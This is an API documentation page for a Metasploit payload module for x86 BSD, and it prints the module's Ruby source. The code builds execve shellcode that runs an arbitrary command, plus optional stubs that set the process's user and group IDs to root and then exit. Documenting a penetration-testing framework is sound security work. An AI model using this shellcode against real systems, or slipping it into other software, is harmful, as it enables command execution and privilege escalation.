Module: Msf::Payload::Bsd::X86

Included in:
Msf::Payload::Bsd
Defined in:
lib/msf/core/payload/bsd/x86.rb

Instance Method Summary collapse

Instance Method Details

#bsd_x86_exec_payload ⇒ Object 



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# File 'lib/msf/core/payload/bsd/x86.rb', line 9

def bsd_x86_exec_payload
  cmd_str   = datastore['CMD'] || ''
  # Split the cmd string into arg chunks
  cmd_parts = Shellwords.shellsplit(cmd_str)
  # the non-exe-path parts of the chunks need to be reversed for execve
  cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
  arg_str = cmd_parts.map { |a| "#{a}\x00" }.join

  payload = ''

  # Stuff an array of arg strings into memory
  payload << "\x31\xc0"                          # xor eax, eax  (eax => 0)
  payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
  payload << arg_str
  payload << "\x5B"                              # pop ebx (ebx => &CMD_STR)

  # now EBX contains &cmd_parts[0], the exe path
  if cmd_parts.length > 1
    # Build an array of pointers to arguments
    payload << "\x89\xD9"                     # mov ecx, ebx
    payload << "\x50"                         # push eax; null byte (end of array)
    payload << "\x89\xe2"                     # mov edx, esp (EDX points to the end-of-array null byte)

    cmd_parts[1..-1].each_with_index do |arg, idx|
      l = [cmd_parts[idx].length+1].pack('V')
      # can probably save space here by doing the loop in ASM
      # for each arg, push its current memory location on to the stack
      payload << "\x81\xC1"                 # add ecx, ...
      payload << l                          # (cmd_parts[idx] is the prev arg)
      payload << "\x51"                     # push ecx (&cmd_parts[idx])
    end

    payload << "\x53"                         # push ebx (&cmd_parts[0])
    payload << "\x89\xe1"                     # mov ecx, esp (ptr to ptr to first str)
    payload << "\x52"                         # push edx
    payload << "\x51"                         # push ecx
  else
    # pass NULL args array to execve() call
    payload << "\x50\x50"                     # push eax, push eax
  end

  payload << "\x53"                             # push ebx
  payload << "\xb0\x3b"                         # mov al, 0x3b (execve)
  payload << "\x50"                             # push eax
  payload << "\xcd\x80"                         # int 0x80 (triggers execve syscall)

  payload
end

#handle_x86_bsd_opts(pre, app) ⇒ Object 



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# File 'lib/msf/core/payload/bsd/x86.rb', line 58

def handle_x86_bsd_opts(pre, app)
  if (datastore['PrependSetresuid'])
    # setresuid(0, 0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x66\xb8\x37\x01"     + #   movw    $0x0137,%ax                #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7e"             + #   movb    $0x7e,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x17"             + #   movb    $0x17,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetresgid'])
    # setresgid(0, 0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x66\xb8\x38\x01"     + #   movw    $0x0138,%ax                #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7f"             + #   movb    $0x7f,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\xb5"             + #   movb    $0xb5,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x01"             + #   movb    $0x01,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end
end